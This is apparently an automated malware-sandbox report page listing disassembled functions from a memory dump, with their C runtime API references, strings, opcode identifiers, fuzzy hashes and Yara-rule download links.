Function 0042BBEA, Relevance: 15.2, APIs: 10, Instructions: 238COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 0042BBFC
__invalid_parameter.LIBCMTD ref: 0042BC83
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042BC98
_write_multi_char.LIBCMTD ref: 0042C22B
_write_string.LIBCMTD ref: 0042C246
_write_multi_char.LIBCMTD ref: 0042C272
__mbtowc_l.LIBCMTD ref: 0042C2E1

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_write_string
String ID:
API String ID: 900999819-0
Opcode ID: 7a152b0ef7358fdfdf488b90299700bab049567fc5c59cf70dd7079f0d1c9e8c
Instruction ID: ca2ee91092aafdb62780697932ab8c6bba3a466795aca646819d84370a4d8f02
Opcode Fuzzy Hash: 7a152b0ef7358fdfdf488b90299700bab049567fc5c59cf70dd7079f0d1c9e8c
Instruction Fuzzy Hash: 57A183B0E002289BDF24DF55DC81BAEB770EF44304F94859AE6096B282D7785E84CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00438FF0, Relevance: 15.1, APIs: 10, Instructions: 135COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00438FFE

Part of subcall function 00439280: _cmpBYTE.LIBCMTD ref: 004392B8

_cmpDWORD.LIBCMTD ref: 00439025

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: c8f3e292c3b1e8bb93b3af797200ed8ae75d1eaad313a1fa08ee5c27a5052a11
Instruction ID: f25fb2f7a0819abbe322da5feeaa82c6f032b63a035de58cf9bb3e626f1f4a8f
Opcode Fuzzy Hash: c8f3e292c3b1e8bb93b3af797200ed8ae75d1eaad313a1fa08ee5c27a5052a11
Instruction Fuzzy Hash: F7512AB1D00109FFDB04DFBCDA48ADEBBB5AB48304F10955AE409BB245DA789F41EB54

Uniqueness

Uniqueness Score: -1.00%

Function 00428AA0, Relevance: 13.7, APIs: 9, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc3978a91e2fed697cbd145494d9bee859de4c37696e3cdea482a0f53b07a0eb
Instruction ID: 79dac7c46b9d9e39020c28a066436a2692e4869eee9c1b7d6f35de62e4dada77
Opcode Fuzzy Hash: cc3978a91e2fed697cbd145494d9bee859de4c37696e3cdea482a0f53b07a0eb
Instruction Fuzzy Hash: E481C3B1B01218ABDF00DF54EC81FAF77B5AF48304F40846EF909A7281D7789A44CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041EC54, Relevance: 13.6, APIs: 9, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041EC59
std::_Lockit::_Lockit.LIBCPMTD ref: 0041EC68
int.LIBCPMT ref: 0041EC7F

Part of subcall function 0041D1C1: std::_Lockit::_Lockit.LIBCPMTD ref: 0041D1D2
Part of subcall function 0041D1C1: std::_Lockit::~_Lockit.LIBCPMTD ref: 0041D1EC

std::locale::_Getfacet.LIBCPMT ref: 0041EC88
std::bad_exception::bad_exception.LIBCMTD ref: 0041ECB6
__CxxThrowException@8.LIBCMTD ref: 0041ECC4
std::locale::facet::_Incref.LIBCPMT ref: 0041ECD4
std::locale::facet::facet_Register.LIBCPMTD ref: 0041ECDA
std::_Lockit::~_Lockit.LIBCPMTD ref: 0041ECE7

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Exception@8GetfacetH_prologIncrefRegisterThrowstd::bad_exception::bad_exceptionstd::locale::_std::locale::facet::_std::locale::facet::facet_
String ID:
API String ID: 288561801-0
Opcode ID: 54da9261730169bf02645b48c785f6184d57676b9d74fd18ddbc20c023d86ca5
Instruction ID: 5d5fdbcd47ae09a5643023b666f8b08548eb51aaf07b8b350aacd09a0fcab939
Opcode Fuzzy Hash: 54da9261730169bf02645b48c785f6184d57676b9d74fd18ddbc20c023d86ca5
Instruction Fuzzy Hash: 9411A376A00214ABCB04EB62DD42AEE7735EF80368F10052FF911672D1DB7C9945C79D

Uniqueness

Uniqueness Score: -1.00%

Function 004259E5, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 004259F9
__CrtIsValidHeapPointer.LIBCMTD ref: 00425A85
_CheckBytes.LIBCMTD ref: 00425B30
_CheckBytes.LIBCMTD ref: 00425BEA
_memset.LIBCMT ref: 00425CE1
__free_base.LIBCMTD ref: 00425CED

Strings

tDj, xrefs: 00425A3B

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: tDj
API String ID: 25084783-2513116121
Opcode ID: 2196346b72de99ad033b085079edf412ac61bfd6a4851d5f2201b87a2c60ca13
Instruction ID: c2196b15d096f99c2b095510ac6125d9018437076f0548a4c77f008faf9f2775
Opcode Fuzzy Hash: 2196346b72de99ad033b085079edf412ac61bfd6a4851d5f2201b87a2c60ca13
Instruction Fuzzy Hash: 1991D074B40214BBEB24CF44ED82F6A7365AB58705F74419AF604AB3C2D279EE40CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0043F034, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0043F093
_memset.LIBCMT ref: 0043F11C
__invalid_parameter.LIBCMTD ref: 0043F17B

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043F13F, 0043F16C
_wcstombs_s_l, xrefs: 0043F171
sizeInBytes > retsize, xrefs: 0043F133, 0043F176
P, xrefs: 0043F190

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: eba7a8a6db21c0625dc80c26c2fdd3a8b19e208fd7be417d8f693bd9a4897978
Instruction ID: dc0ffcc58b18e2643ddf0dd2ef6f6a62c9a4abd568b7092f9c28664f814976b7
Opcode Fuzzy Hash: eba7a8a6db21c0625dc80c26c2fdd3a8b19e208fd7be417d8f693bd9a4897978
Instruction Fuzzy Hash: C641A230E00249EBCF14CF58D845BAE7771FB48324F14866AE8242A3D1D3799D59CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0042BA14, Relevance: 12.2, APIs: 8, Instructions: 222COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042BA48
_write_multi_char.LIBCMTD ref: 0042C22B
_write_string.LIBCMTD ref: 0042C246
_write_multi_char.LIBCMTD ref: 0042C272
__mbtowc_l.LIBCMTD ref: 0042C2E1

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$__mbtowc_l_strlen_write_string
String ID:
API String ID: 3252303123-0
Opcode ID: 147f7b57c91fc7ac388040de3b26c44f6af553ab85c17ef6030ac1a538fc8db6
Instruction ID: f89ba16a6660c1dacf5957cf631aa72163a71f909fe4458e2d75d23507538743
Opcode Fuzzy Hash: 147f7b57c91fc7ac388040de3b26c44f6af553ab85c17ef6030ac1a538fc8db6
Instruction Fuzzy Hash: 6DA15FB1E00228DBDB24DF55DC81BAEB7B5EB44304F54819AE5096B282D7389E84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00438D98, Relevance: 12.1, APIs: 8, Instructions: 103COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00438DA6

Part of subcall function 00439280: _cmpBYTE.LIBCMTD ref: 004392B8

_cmpDWORD.LIBCMTD ref: 00438DCD

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: 000ccbe2cadb759e74cd5e7df1b3dfedffdf27a34ef9d4f6f82d792d1a5bf3d5
Instruction ID: d9394f98bafcc35a14a52f67a5d5268d9744483a6118b2dc5143d138524021cc
Opcode Fuzzy Hash: 000ccbe2cadb759e74cd5e7df1b3dfedffdf27a34ef9d4f6f82d792d1a5bf3d5
Instruction Fuzzy Hash: 6B314A71900208EFCB04DFBCDA48A9DBB75AB48308F50954DF40ABB205DA789F41DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0043CF97, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043CFF8
__aullrem.LIBCMT ref: 0043D1C5
__aulldiv.LIBCMT ref: 0043D1E7

Strings

0, xrefs: 0043CFB3
', xrefs: 0043CF97
9, xrefs: 0043D1F8

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: e4dd38e42e6af9c863dfc50a3d36f36b455022025e72cc688cd92708958d79a4
Instruction ID: c02270901f6d708d4f95b85d19d132a7bee07a7cad2efefa0e61f18ca3c343b2
Opcode Fuzzy Hash: e4dd38e42e6af9c863dfc50a3d36f36b455022025e72cc688cd92708958d79a4
Instruction Fuzzy Hash: F741C0B1D05629DFDF24CF98DC89BAEB7B5FB48304F24959AE009A7240C7389A85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00438EC4, Relevance: 10.6, APIs: 7, Instructions: 103COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00438ED2

Part of subcall function 00439280: _cmpBYTE.LIBCMTD ref: 004392B8

_cmpDWORD.LIBCMTD ref: 00438EF9

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: 19dc914e4a0633765d336c19ed3a3f14afb2883500002485b60d4641ba5bd03d
Instruction ID: dffb861a2e72acf67e1950e9055f91de04a9c3f164918d7deb64d20c70ccf4c8
Opcode Fuzzy Hash: 19dc914e4a0633765d336c19ed3a3f14afb2883500002485b60d4641ba5bd03d
Instruction Fuzzy Hash: D6313B71900208FFCB04DFBCDA48A9EBB75AB48308F20D559F40ABB205DA789F45DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00438C80, Relevance: 10.6, APIs: 7, Instructions: 96COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00438C8E

Part of subcall function 00439280: _cmpBYTE.LIBCMTD ref: 004392B8

_cmpDWORD.LIBCMTD ref: 00438CB5

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: 78c03d3718f2390d31f8b063bc65ce1d810f83c356c66c6654849dcd724319e6
Instruction ID: 9e6de795e3e082333dbc13ab13386c17264802dd361d4374196c23cda51d7268
Opcode Fuzzy Hash: 78c03d3718f2390d31f8b063bc65ce1d810f83c356c66c6654849dcd724319e6
Instruction Fuzzy Hash: 18313071900109FFDB04DFBCC948ADEBB75AB48309F209559F40ABB246DA789F41D758

Uniqueness

Uniqueness Score: -1.00%

Function 00431381, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 69COMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 004313E8
_strlen.LIBCMT ref: 00431434

Strings

t/j, xrefs: 00431421
jjj, xrefs: 004313D0
, xrefs: 004313F7
s3, xrefs: 004313D8

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __set_error_mode_strlen
String ID: jjj$t/j$s3$
API String ID: 1625444187-615831865
Opcode ID: 59f2015f64c8a6c5157c038dd3d289a5abb5aa4bedd5935441abae86ba6c6836
Instruction ID: 8a5ab5c0f03c4ac8d38858c6f9367e5578c929676ccc67b57027953c6013c17c
Opcode Fuzzy Hash: 59f2015f64c8a6c5157c038dd3d289a5abb5aa4bedd5935441abae86ba6c6836
Instruction Fuzzy Hash: 0721D774D40208FFEB24CB84D985BAE7370EB19318F20916BE906672B1D3399E51DF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00434A53, Relevance: 9.1, APIs: 6, Instructions: 95windowCOMMON

Download Yara Rule

APIs

__snwprintf_s.LIBCMTD ref: 00434ADB

Part of subcall function 00436E30: __vsnprintf_s_l.LIBCMTD ref: 00436E52

__invoke_watson_if_oneof.LIBCMTD ref: 00434B0E
_wcscpy_s.LIBCMTD ref: 00434B50
__invoke_watson_if_error.LIBCMTD ref: 00434B59
___crtMessageBoxW.LIBCMTD ref: 00434B72
_raise.LIBCMTD ref: 00434B8B

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s__vsnprintf_s_l_raise_wcscpy_s
String ID:
API String ID: 4254616306-0
Opcode ID: 5bb68f59371613f154bf808692ecfff4eb67b997468db6f1baebcbcf3834fa51
Instruction ID: f976c9bd2c4191d7ed58926996577702be88888b2da91e0945af2f73a59d7969
Opcode Fuzzy Hash: 5bb68f59371613f154bf808692ecfff4eb67b997468db6f1baebcbcf3834fa51
Instruction Fuzzy Hash: 87317675F40214BBDB24EB95DC46FDAB375AB4C704F0080AAF20D762C5D6B87A808F99

Uniqueness

Uniqueness Score: -1.00%

Function 0043CF84, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043CFF8
__aullrem.LIBCMT ref: 0043D1C5
__aulldiv.LIBCMT ref: 0043D1E7

Strings

0, xrefs: 0043CFB3
9, xrefs: 0043D1F8

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: d60ba8b7cc28d6215889c596725926b66c55c0df088e40932acce54b869b4ee6
Instruction ID: a169c9c0059af94996a077dd4c958f304fd4f6686b13b343f4fe73cfaf901862
Opcode Fuzzy Hash: d60ba8b7cc28d6215889c596725926b66c55c0df088e40932acce54b869b4ee6
Instruction Fuzzy Hash: F741E2B1D05229DFDF24CF98DC89BAEB7B5FB48304F24919AE409A7240C7389A85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0042AD2A, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042AD91
__aullrem.LIBCMT ref: 0042AF61
__aulldiv.LIBCMT ref: 0042AF83

Strings

9, xrefs: 0042AF94
', xrefs: 0042AD2A

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 306e89b7b2da66c17714b45fda87a8e7191b39f0c93d43a48de9b4874a35787a
Instruction ID: 9a77229bde6b69c66853860460d2c48f53c32429bc45046737979d96ff803d6c
Opcode Fuzzy Hash: 306e89b7b2da66c17714b45fda87a8e7191b39f0c93d43a48de9b4874a35787a
Instruction Fuzzy Hash: F94135B1E50129DFDB24CF48E981BAEB7B5FF85314F40409AE648AB241D3385E91CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0042BEB9, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042BF20
__aullrem.LIBCMT ref: 0042C0F0
__aulldiv.LIBCMT ref: 0042C112

Strings

', xrefs: 0042BEB9
9, xrefs: 0042C123

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 306e89b7b2da66c17714b45fda87a8e7191b39f0c93d43a48de9b4874a35787a
Instruction ID: e388e6676921d162dbd2d1bb8be74de073d465acfb0c8b88bdb5f01d06445442
Opcode Fuzzy Hash: 306e89b7b2da66c17714b45fda87a8e7191b39f0c93d43a48de9b4874a35787a
Instruction Fuzzy Hash: 894116B1E10129DFDB24CF88D981BAEB7B5FF85314F40419AE249A7241C3385E85CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0043EF33, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0043EF80
__invalid_parameter.LIBCMTD ref: 0043F00D

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043EFD1, 0043EFFE
_wcstombs_s_l, xrefs: 0043F003
bufferSize <= INT_MAX, xrefs: 0043EFC5, 0043F008

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: 51c90df4d0b8674ec02addc1503dd8a7780dbe8482b2f13ba8730c5129d874c3
Instruction ID: a0357ad04e8e6c55894bd9b7a4213b9ceae635ff8b5e815f74866a2a30b2233b
Opcode Fuzzy Hash: 51c90df4d0b8674ec02addc1503dd8a7780dbe8482b2f13ba8730c5129d874c3
Instruction Fuzzy Hash: EC21BD70A01249EBDF24DF48DC41BAE77B1BB48318F20062AF8246A3C1D3B9AD51CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0042AD17, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042AD91
__aullrem.LIBCMT ref: 0042AF61
__aulldiv.LIBCMT ref: 0042AF83

Strings

9, xrefs: 0042AF94

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 756c56aaf429e6939e5938c5826f23fa21ca605c04200b77554db0f331620d7d
Instruction ID: 323333c560474969a9dde8a6ccce78d16e5640eaa759866be20c99d924b387ac
Opcode Fuzzy Hash: 756c56aaf429e6939e5938c5826f23fa21ca605c04200b77554db0f331620d7d
Instruction Fuzzy Hash: 6A4147B1E50129DFDB24CF48E981BAEB7B5FF85314F40409AE648AB241C3385E95CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0042BEA6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042BF20
__aullrem.LIBCMT ref: 0042C0F0
__aulldiv.LIBCMT ref: 0042C112

Strings

9, xrefs: 0042C123

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 756c56aaf429e6939e5938c5826f23fa21ca605c04200b77554db0f331620d7d
Instruction ID: dcd444d96e5002ef4ce124125922dabaa8bd39108ab83f2cfbabfa820e829b64
Opcode Fuzzy Hash: 756c56aaf429e6939e5938c5826f23fa21ca605c04200b77554db0f331620d7d
Instruction Fuzzy Hash: F54127B0E10129DFDB24CF88D881BAEB7B4FF85314F40419AE249A7241C3385E85CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0042AD65, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042AD91
__aullrem.LIBCMT ref: 0042AF61
__aulldiv.LIBCMT ref: 0042AF83

Strings

9, xrefs: 0042AF94

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: bee52a0bd083e9bc6fe97cfcb2b6e6292e317db12782c876446b29ff2ebd5955
Instruction ID: b820b80d32eca16881bfb5f23332d830fdbca235616d7c39373246384bc50610
Opcode Fuzzy Hash: bee52a0bd083e9bc6fe97cfcb2b6e6292e317db12782c876446b29ff2ebd5955
Instruction Fuzzy Hash: 664125B1E501299FDB24CF48DD81BAEB7B5FF85314F40419AE648AB241C7385E91CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0042BEF4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042BF20
__aullrem.LIBCMT ref: 0042C0F0
__aulldiv.LIBCMT ref: 0042C112

Strings

9, xrefs: 0042C123

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: bee52a0bd083e9bc6fe97cfcb2b6e6292e317db12782c876446b29ff2ebd5955
Instruction ID: 85df21a26e183048b5920a2902a14038bc989046deada2c48957281ccb6816f6
Opcode Fuzzy Hash: bee52a0bd083e9bc6fe97cfcb2b6e6292e317db12782c876446b29ff2ebd5955
Instruction Fuzzy Hash: C741F4B1A10529DFDB24CF88DD81BAEB7B5FF85314F40419AE249A7241C7385E85CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0043CFCC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043CFF8
__aullrem.LIBCMT ref: 0043D1C5
__aulldiv.LIBCMT ref: 0043D1E7

Strings

9, xrefs: 0043D1F8

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 4602320b2b10fef33d173d86231321ec4dc30d3471c26b4068e238b8e0ee86c7
Instruction ID: 9c2d41a62ec7d395be17c5fb9c40569e66967507eec4dfd598683656f0d90ccb
Opcode Fuzzy Hash: 4602320b2b10fef33d173d86231321ec4dc30d3471c26b4068e238b8e0ee86c7
Instruction Fuzzy Hash: 0441C1B1D05629DFEF64CF98DC89BAEB7B5FB48304F10959AE019A7240C7389A81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0042AD0E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042AD91
_get_int64_arg.LIBCMTD ref: 0042ADB9
__aullrem.LIBCMT ref: 0042AF61
__aulldiv.LIBCMT ref: 0042AF83

Strings

9, xrefs: 0042AF94

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 99c7759a3a7344c65522e970f988fe22a187a2ee2d3a7dbc1c2808dc659612a8
Instruction ID: 632a2296649fa586c140e0a4c9cfa34e94b5e91d3d1e49d66cfb6db3adf69d09
Opcode Fuzzy Hash: 99c7759a3a7344c65522e970f988fe22a187a2ee2d3a7dbc1c2808dc659612a8
Instruction Fuzzy Hash: AE4134B1E40129DFDB24CF48E981BAEB7B5FB85314F4040DAE648A7201C3385E91CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 0042BE9D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042BF20
_get_int64_arg.LIBCMTD ref: 0042BF48
__aullrem.LIBCMT ref: 0042C0F0
__aulldiv.LIBCMT ref: 0042C112

Strings

9, xrefs: 0042C123

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 99c7759a3a7344c65522e970f988fe22a187a2ee2d3a7dbc1c2808dc659612a8
Instruction ID: 701fcb4708df9d6c7f3e84f8745f3ae27057e8d3f26f1e06339554d4cf7e82ad
Opcode Fuzzy Hash: 99c7759a3a7344c65522e970f988fe22a187a2ee2d3a7dbc1c2808dc659612a8
Instruction Fuzzy Hash: BE41F4B1A10129DFDB24CF88D981BAEB7B5FF85314F50419AE249A7201C7385E85CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0043CF7B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043CFF8
_get_int64_arg.LIBCMTD ref: 0043D020
__aullrem.LIBCMT ref: 0043D1C5
__aulldiv.LIBCMT ref: 0043D1E7

Strings

9, xrefs: 0043D1F8

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: e71fad07551fe97445816274755553b0e46363e736280db784c5db9cb4ade78d
Instruction ID: c66e8b3e918375886cfdc95ac91cd4dee2bf205cfefd83de3ccd37bf4ec890a6
Opcode Fuzzy Hash: e71fad07551fe97445816274755553b0e46363e736280db784c5db9cb4ade78d
Instruction Fuzzy Hash: C141B0B1E05629DFDF64DF58DC89BAEB7B5BB48304F20959AE009A7240C7389A81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043E9C6, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0043EA27

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043E9EE, 0043EA18
_wcstombs_l_helper, xrefs: 0043EA1D
pwcs != NULL, xrefs: 0043E9E5, 0043EA22

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: e7d9262e9efa2bdd0f71a3b467dfbda882b36f957f009c4ac88fa3c6b9b06c32
Instruction ID: 26772ab7a67b98479d1f334880ccf3fe4c15837594e72ef76a695bf39450673d
Opcode Fuzzy Hash: e7d9262e9efa2bdd0f71a3b467dfbda882b36f957f009c4ac88fa3c6b9b06c32
Instruction Fuzzy Hash: 52F0AF30B80218AADB206A61EC07F5F72617B18729F60162BB416351C2C7FE6AA4865E

Uniqueness

Uniqueness Score: -1.00%

Function 0043EEA5, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0043EF1B

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043EEDF, 0043EF0C
_wcstombs_s_l, xrefs: 0043EF11
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 0043EED3, 0043EF16

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3730194576-625432840
Opcode ID: 2f1010dbe40109fd78364fa54a142c686d6e8079e174eadf1ee8cae0a7c63fe6
Instruction ID: 12c17949876b9aee5e4fd9642796655b05c5f699e1d8bf71b9808992aafe1a4f
Opcode Fuzzy Hash: 2f1010dbe40109fd78364fa54a142c686d6e8079e174eadf1ee8cae0a7c63fe6
Instruction Fuzzy Hash: B4018670E413199AEF206E42EC07BAB7270BB1471AF11182BE414352C2D3FD5E94CB9E

Uniqueness

Uniqueness Score: -1.00%

Function 0041D314, Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

__wcstombs_l.LIBCMTD ref: 0041D332

Part of subcall function 00420230: new.LIBCPMTD ref: 00420245

std::exception::exception.LIBCMTD ref: 0041D356
__CxxThrowException@8.LIBCMTD ref: 0041D36B
std::ios_base::_Ios_base_dtor.LIBCPMTD ref: 0041D378

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

